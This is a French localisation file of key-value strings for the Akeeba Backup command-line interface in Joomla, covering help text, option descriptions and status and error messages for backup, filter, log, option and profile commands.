COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE="[%s] Aucun message reçu"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_PROGRESS_RECEIVED="[%s] Signal de progression de la sauvegarde reçu"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_FINALISATION_RECEIVED="[%s] Message de finalisation de la sauvegarde reçu"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CHECKS_FINALISATION_RECEIVED="[%s] Message de finalisation des vérifications reçu"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED="[%s] Signal d'erreur reçu"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED="[%s] Message de connexion refusée (403) reçu"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT="[%s] Impossible d'analyser la réponse du serveur."

COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_HEAD="Votre sauvegarde s'est terminée avec succès."
COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_DETAILS="Veuillez examiner votre fichier journal de sauvegarde pour tout message d'avertissement. Si vous en trouvez, assurez-vous que votre sauvegarde fonctionne correctement en essayant de la restaurer sur un serveur local."

COM_AKEEBABACKUP_CLI_LBL_FECHECK_FINISH_HEAD="Les vérifications se sont terminées avec succès."

COM_AKEEBABACKUP_CLI_HEAD_CHECK="Vérification des tentatives de sauvegarde échouées effectuées avec Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_HELP="<info>%command.name%</info> vérifiera les tentatives de sauvegarde échouées effectuées avec Akeeba Backup\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_DESC="Vérifier les tentatives de sauvegarde Akeeba Backup échouées"

COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD_ALTERNATE="Vérification des sauvegardes Akeeba Backup dont le téléversement vers le stockage distant a échoué via la fonctionnalité frontale"
COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD="Vérification des sauvegardes Akeeba Backup dont le téléversement vers le stockage distant a échoué"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_HELP="<info>%command.name%</info> vérifiera les sauvegardes effectuées avec Akeeba Backup dont le téléversement vers le stockage distant a échoué.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_DESC="Vérifier les sauvegardes Akeeba Backup dont le téléversement a échoué"

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DELETE="Suppression de l'enregistrement de sauvegarde Akeeba Backup n°%d"
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE_FILES="Les fichiers de l'enregistrement de sauvegarde n°%d ont été supprimés."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE="L'enregistrement de sauvegarde n°%d a été supprimé."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE_FILES="Impossible de supprimer les fichiers de l'enregistrement de sauvegarde n°%d : %s"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE="Impossible de supprimer l'enregistrement de sauvegarde n°%d : %s"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_HELP="<info>%command.name%</info> supprimera un enregistrement de sauvegarde connu d'Akeeba Backup, ou uniquement ses fichiers\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_DESC="Supprime un enregistrement de sauvegarde connu d'Akeeba Backup, ou uniquement ses fichiers"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ID="L'identifiant de l'enregistrement de sauvegarde à supprimer"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ONLY_FILES="Supprimer uniquement les fichiers de sauvegarde stockés sur le serveur du site, et non l'enregistrement lui-même."

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DOWNLOAD="Récupération de la partie n°%d de l'enregistrement de sauvegarde Akeeba Backup n°%d"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES="L'enregistrement de sauvegarde « %s » ne dispose d'aucun fichier disponible au téléchargement. Les avez-vous déjà supprimés ?"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES_MAYBE_REMOTE="L'enregistrement de sauvegarde « %s » ne dispose d'aucun fichier disponible au téléchargement sur le serveur. S'ils sont stockés à distance, vous devrez peut-être utiliser d'abord la commande fetch."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_OUT_OF_RANGE="Il n'existe pas de partie « %s » pour l'enregistrement de sauvegarde « %s »."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_MISSING="Impossible de trouver la partie « %s » de l'enregistrement de sauvegarde « %s » sur le serveur."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNREADABLE="Impossible d'ouvrir « %s » en lecture. Vérifiez les permissions / ACL du fichier."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNWRITEABLE="Impossible d'ouvrir « %s » en écriture. Vérifiez si le dossier existe et les permissions / ACL du dossier parent et du fichier."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DOWNLOAD_DONE="Partie %d de l'enregistrement de sauvegarde n°%d téléchargée dans le fichier %s"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_HELP="<info>%command.name%</info> affichera ou écrira un fichier avec une partie d'archive de sauvegarde d'un enregistrement de sauvegarde connu d'Akeeba Backup\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_DESC="Retourne une partie d'archive de sauvegarde pour un enregistrement de sauvegarde connu d'Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_ID="L'identifiant de l'enregistrement de sauvegarde dont les archives doivent être récupérées"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_PART="Le numéro de partie de l'archive de sauvegarde à récupérer"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_FILE="Chemin du fichier où écrire. Affichera sur STDOUT si non défini."

COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HEAD="Récupération des fichiers stockés à distance pour l'enregistrement Akeeba Backup n°%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_SECTION_DOWNLOADING="Téléchargement de l'archive de sauvegarde pour la sauvegarde n°%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_PART_FRAG="Fichier de partie : %d, fragment de fichier : %d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_FINISHED="La récupération des fichiers de l'enregistrement de sauvegarde « %s » est terminée."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_ERR_FAILED="La récupération des fichiers de l'enregistrement de sauvegarde « %s » a échoué."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HELP="<info>%command.name%</info> téléchargera les archives de sauvegarde d'une sauvegarde connue d'Akeeba Backup depuis le stockage distant vers le serveur.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_DESC="Télécharger une sauvegarde depuis le stockage distant vers le serveur"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_OPT_ID="L'identifiant de l'enregistrement de sauvegarde à récupérer"

COM_AKEEBABACKUP_CLI_BACKUP_INFO_HEAD="Informations sur l'enregistrement Akeeba Backup n°%d"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_HELP="<info>%command.name%</info> listera un enregistrement de sauvegarde connu d'Akeeba Backup\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_DESC="Liste un enregistrement de sauvegarde connu d'Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_ID="L'identifiant de l'enregistrement de sauvegarde à lister"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_FORMAT="Format de sortie : table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_BACKUP_LIST_HEAD="Liste des enregistrements Akeeba Backup correspondant à vos critères"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_HELP="<info>%command.name%</info> listera les enregistrements de sauvegarde connus d'Akeeba Backup\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_DESC="Liste les enregistrements de sauvegarde connus d'Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FROM="Nombre d'enregistrements de sauvegarde à ignorer avant de commencer la sortie."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_LIMIT="Nombre maximum d'enregistrements de sauvegarde à afficher."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FORMAT="Format de sortie : table, json, yaml, csv, count."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_DESCRIPTION="Les enregistrements de sauvegarde listés doivent correspondre à cette description (partielle)."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_AFTER="Lister les enregistrements de sauvegarde effectués après cette date."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_BEFORE="Lister les enregistrements de sauvegarde effectués avant cette date."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_ORIGIN="Lister uniquement les sauvegardes de cette origine : backend, frontend, json, cli."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_PROFILE="Lister les sauvegardes effectuées avec ce profil. Fournir l'identifiant numérique du profil."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_BY="Trier la sortie par la colonne indiquée : id, description, profile_id, backupstart"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_ORDER="Ordre de tri : asc, desc."

COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HEAD="Modification de l'enregistrement Akeeba Backup n°%d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HELP="<info>%command.name%</info> modifiera un enregistrement de sauvegarde connu d'Akeeba Backup\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_DESC="Modifie un enregistrement de sauvegarde connu d'Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_DESC_AND_COMMENT_REQUIRED="Vous devez spécifier l'une ou les deux options --description et --comment"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_CANNOT_MODIFY="Impossible de modifier l'enregistrement de sauvegarde n°%d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_LBL_MODIFIED="L'enregistrement de sauvegarde n°%d a été modifié."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_ID="L'identifiant de l'enregistrement de sauvegarde à modifier"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_DESCRIPTION="Modifier la description courte avec cette valeur."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_COMMENT="Modifier le commentaire de sauvegarde avec cette valeur (accepte le HTML)."

COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HEAD="Effectuer une sauvegarde avec Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_SECTION_START="Démarrage de la sauvegarde avec le profil n°%s."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_LASTTICK="Dernière activité : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_DOMAIN="Domaine         : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_STEP="Étape           : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_SUBSTEP="Sous-étape      : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_PROGRESS="Progression     : %1.2f%%"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_MEMORY="Mémoire utilisée : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_PEAKMEM="Mémoire maximale utilisée : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_TOTALTILE="La boucle de sauvegarde s'est terminée après %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE_WITH_WARNINGS="Le processus de sauvegarde est maintenant terminé avec des avertissements."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE="Le processus de sauvegarde est maintenant terminé."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HELP="<info>%command.name%</info> effectuera une sauvegarde avec Akeeba Backup\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_DESC="Effectuer une sauvegarde avec Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_PROFILE="Numéro de profil"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_DESCRIPTION="Description courte pour l'enregistrement de sauvegarde, accepte les variables de nommage d'archive standard d'Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_COMMENT="Commentaire plus long pour l'enregistrement de sauvegarde, à fournir en HTML"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_OVERRIDES="Définir des remplacements de configuration au format \"clé1=valeur1,clé2=valeur2\""

COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HEAD="Nouvelle tentative de téléversement de l'enregistrement Akeeba Backup n°%d"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_PROGRESS="Tentative de re-téléversement de l'enregistrement de sauvegarde « %s », partie n°%s, fragment n°%s. Cela peut prendre un moment."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_COMPLETE="Le re-téléversement de l'enregistrement de sauvegarde « %s » est terminé."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_ERR_FAILED="Le re-téléversement de l'enregistrement de sauvegarde « %s » a échoué."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HELP="<info>%command.name%</info> retentera le téléversement d'une sauvegarde connue d'Akeeba Backup vers le stockage distant.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_DESC="Réessayer de téléverser une sauvegarde vers le stockage distant"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_OPT_ID="L'identifiant de l'enregistrement de sauvegarde à téléverser"

COM_AKEEBABACKUP_CLI_FILTER_DELETE_HEAD="Suppression du filtre %s « %s » de type %s du profil n°%d"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE="base de données"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM="système de fichiers"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT="Racine %s inconnue « %s »."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO="Les filtres de type « %s » ne sont disponibles qu'avec Akeeba Backup Professional."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_FAILED="Impossible de supprimer le filtre « %s » de type « %s »."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_LBL_DELETED="Filtre « %s » de type « %s » supprimé."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_HELP="<info>%command.name%</info> supprimera une valeur de filtre connue d'Akeeba Backup.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_DESC="Supprimer une valeur de filtre connue d'Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTER="Le nom du filtre à supprimer"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_ROOT="Quelle racine de filtre utiliser. Par défaut [SITEROOT] ou [SITEDB] selon le type de filtre."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTERTYPE="Le type de filtre à supprimer : files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata, extradirs, multidb"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_PROFILE="Le profil de sauvegarde à utiliser. Par défaut : 1."

COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HEAD="Ajout du filtre %s « %s » de type %s au profil n°%d"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_ERR_FAILED="Impossible d'ajouter le filtre « %s » de type « %s »."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_LBL_SUCCESS="Filtre « %s » de type « %s » ajouté."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HELP="<info>%command.name%</info> définira un filtre d'exclusion de fichier, dossier ou table vers Akeeba Backup.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_DESC="Définir un filtre d'exclusion vers Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTER="La cible du filtre à ajouter. Il s'agit du chemin complet vers un fichier/répertoire, d'un nom de table ou d'une expression régulière, selon le type de filtre."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_ROOT="Quelle racine de filtre utiliser. Par défaut [SITEROOT] ou [SITEDB] selon le type de filtre."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTERTYPE="Le type de filtre à ajouter : files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_PROFILE="Le profil de sauvegarde à utiliser. Par défaut : 1."

COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_NEED_PRO="Cette fonctionnalité nécessite Akeeba Backup Professional"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_ALREADY_EXISTS="La base de données « %s » est déjà incluse. Supprimez l'ancien filtre d'inclusion avant d'essayer d'ajouter à nouveau la base de données."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_CANNOT_CONNECT="Impossible de se connecter à la base de données « %s ». Le serveur a signalé « %s ». Utilisez l'option --no-check pour continuer quand même, mais sachez que votre sauvegarde résultera très probablement en une erreur."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_FAILED="Impossible d'inclure la base de données « %s »."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_LBL_ADDED="Base de données « %s » ajoutée."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_HELP="<info>%command.name%</info> ajoutera une base de données supplémentaire à sauvegarder par Akeeba Backup.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_DESC="Ajouter une base de données supplémentaire à sauvegarder par Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_PROFILE="Le profil de sauvegarde à utiliser. Par défaut : 1."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBDRIVER="Le pilote de base de données à utiliser : mysqli, pdomysql"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPORT="Le port du serveur de base de données. Omettre pour utiliser le port par défaut du pilote."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBUSERNAME="Le nom d'utilisateur pour la connexion à la base de données."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPASSWORD="Le mot de passe pour la connexion à la base de données."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBNAME="Le nom de la base de données."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPREFIX="Le préfixe commun des noms de tables de la base de données, vous permet de le modifier lors de la restauration."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_CHECK="Vérifier la connexion à la base de données avant d'ajouter le filtre."

COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_EXISTS="Le répertoire « %s » est déjà inclus avec la racine « %s ». Supprimez l'ancien filtre d'inclusion avant d'essayer d'ajouter à nouveau le répertoire."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_FAILED="Impossible d'ajouter le répertoire « %s »."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_LBL_SUCCESS="Répertoire « %s » ajouté."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_HELP="<info>%command.name%</info> ajoutera un répertoire hors site supplémentaire à sauvegarder par Akeeba Backup.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_DESC="Ajouter un répertoire hors site supplémentaire à sauvegarder par Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_PROFILE="Le profil de sauvegarde à utiliser. Par défaut : 1."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_DIRECTORY="Chemin complet vers le répertoire hors site à ajouter à la sauvegarde."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_VIRTUAL="Le sous-dossier dans l'archive de sauvegarde où ces fichiers seront stockés. Il s'agit d'un sous-dossier du « répertoire virtuel » dont le nom est défini dans la page de Configuration. Omettre pour déterminer automatiquement."

COM_AKEEBABACKUP_CLI_FILTER_LIST_TITLE="Liste des filtres Akeeba Backup correspondant à vos critères"
COM_AKEEBABACKUP_CLI_FILTER_LIST_HELP="<info>%command.name%</info> listera les valeurs de filtre pour un profil Akeeba Backup.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_LIST_DESC="Obtenir les valeurs de filtre connues d'Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_ROOT="Quelle racine de filtre utiliser. Par défaut [SITEROOT] ou [SITEDB] selon l'option --target. Ignoré pour --type=include. Conseil : les racines du système de fichiers et de la base de données correspondent à la colonne « filter » pour --type=include. Il existe deux racines spéciales : [SITEROOT] (la racine du système de fichiers du site Joomla) et [SITEDB] (la base de données principale du site Joomla)."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_PROFILE="Le profil de sauvegarde à utiliser. Par défaut : 1."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TARGET="La cible des filtres à lister : fs (fichiers et dossiers) ou db (base de données)"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TYPE="Le type de filtres à lister : exclude, include ou regex"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_FORMAT="Format de sortie : table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_LOG_GET_HELP="<info>%command.name%</info> récupérera un fichier journal depuis le répertoire de sortie du profil Akeeba Backup spécifié. Remarque : les fichiers journaux d'autres profils de sauvegarde ou d'installations Akeeba Backup partageant le même répertoire de sortie peuvent également être récupérés.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_GET_DESC="Récupérer un fichier journal connu d'Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_PROFILE_ID="Les fichiers journaux du répertoire de sortie de ce profil Akeeba Backup seront récupérés"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_LOG_TAG="L'étiquette du fichier journal à récupérer"

COM_AKEEBABACKUP_CLI_LOG_LIST_TITLE="Liste des fichiers journaux Akeeba Backup pour le répertoire de sortie %s"
COM_AKEEBABACKUP_CLI_LOG_LIST_HELP="<info>%command.name%</info> listera tous les fichiers journaux dans le répertoire de sortie du profil Akeeba Backup spécifié. Remarque : les fichiers journaux d'autres profils de sauvegarde ou d'installations Akeeba Backup partageant le même répertoire de sortie seront également listés.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_LIST_DESC="Liste les fichiers journaux connus d'Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_PROFILE_ID="Les fichiers journaux du répertoire de sortie de ce profil Akeeba Backup seront listés"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_FORMAT="Format de sortie : table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE="Impossible de trouver le profil n°%s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_NO_MULTIPLE="Cette commande ne peut pas retourner plusieurs valeurs pour le préfixe de clé partiel « %s ». Veuillez fournir le nom exact de la clé que vous souhaitez récupérer. Utilisez la commande akeeba:option:list pour voir les clés disponibles avec le préfixe %s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_KEY="Clé invalide « %s »."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_HELP="<info>%command.name%</info> obtiendra la valeur d'une option de configuration pour un profil Akeeba Backup.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_DESC="Obtient la valeur d'une option de configuration pour un profil Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_KEY="La clé d'option à récupérer"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_PROFILE="Le profil de sauvegarde à utiliser. Par défaut : 1."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_FORMAT="Format de sortie : text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_OPTIONS_LIST_ERR_NO_SUCH_OPTION="Aucune option trouvée correspondant à vos critères."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_HELP="<info>%command.name%</info> listera les options de configuration pour un profil Akeeba Backup, y compris leurs titres.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_DESC="Liste les options de configuration pour un profil Akeeba Backup, y compris leurs titres"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_PROFILE="Le profil de sauvegarde à utiliser. Par défaut : 1."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FILTER="Retourner uniquement les enregistrements dont les clés commencent par le filtre donné."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_BY="Trier la sortie par la colonne indiquée : none, key, value, type, default, title, description, section"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_ORDER="Ordre de tri : asc, desc."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FORMAT="Format de sortie : table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_OUT_OF_BOUNDS="Valeur invalide « %s » : hors limites."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_BOOL="Valeur booléenne invalide « %s » : utilisez l'une des valeurs suivantes : 0, false, no, off, 1, true, yes ou on."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_ENUM="Valeur énumérée invalide « %s ». Doit être l'une des valeurs suivantes : %s."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_HIDDEN="La modification de l'option cachée « %s » n'est pas autorisée."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_UNKNOWN_TYPE="Type inconnu %s pour l'option '%s'. Avez-vous modifié manuellement les fichiers JSON d'options ?"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_PROTECTED="Impossible de définir l'option protégée '%s'. Veuillez utiliser l'option --force pour outrepasser la protection."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_GENERAL="Impossible de définir l'option '%s'."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_LBL_SUCCESS="L'option '%s' a été définie avec succès à '%s'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_HELP="<info>%command.name%</info> définira la valeur d'une option de configuration pour un profil Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_DESC="Définit la valeur d'une option de configuration pour un profil Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_KEY="La clé d'option à définir"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_VALUE="La valeur à définir"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_PROFILE="Le profil de sauvegarde à utiliser. Par défaut : 1."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_FORCE="Autoriser la définition de la valeur des options protégées."

COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_NOT_FOUND="Impossible de copier le profil %s ; profil introuvable."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_FAILED="Impossible de copier le profil #%s : %s"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_LBL_SUCCESS="Copie réussie. Nouveau profil créé avec l'ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_HELP="<info>%command.name%</info> créera une copie d'un profil Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_DESC="Crée une copie d'un profil Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_ID="L'ID numérique du profil à copier"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FILTERS="Inclure les filtres dans la copie."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_DESCRIPTION="Description du nouveau profil de sauvegarde. Utilise la description de l\'ancien profil si non spécifiée."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_QUICKICON="Le nouveau profil de sauvegarde doit-il avoir une icône de sauvegarde en un clic ? Copie le paramètre de l\'ancien profil si non spécifié."
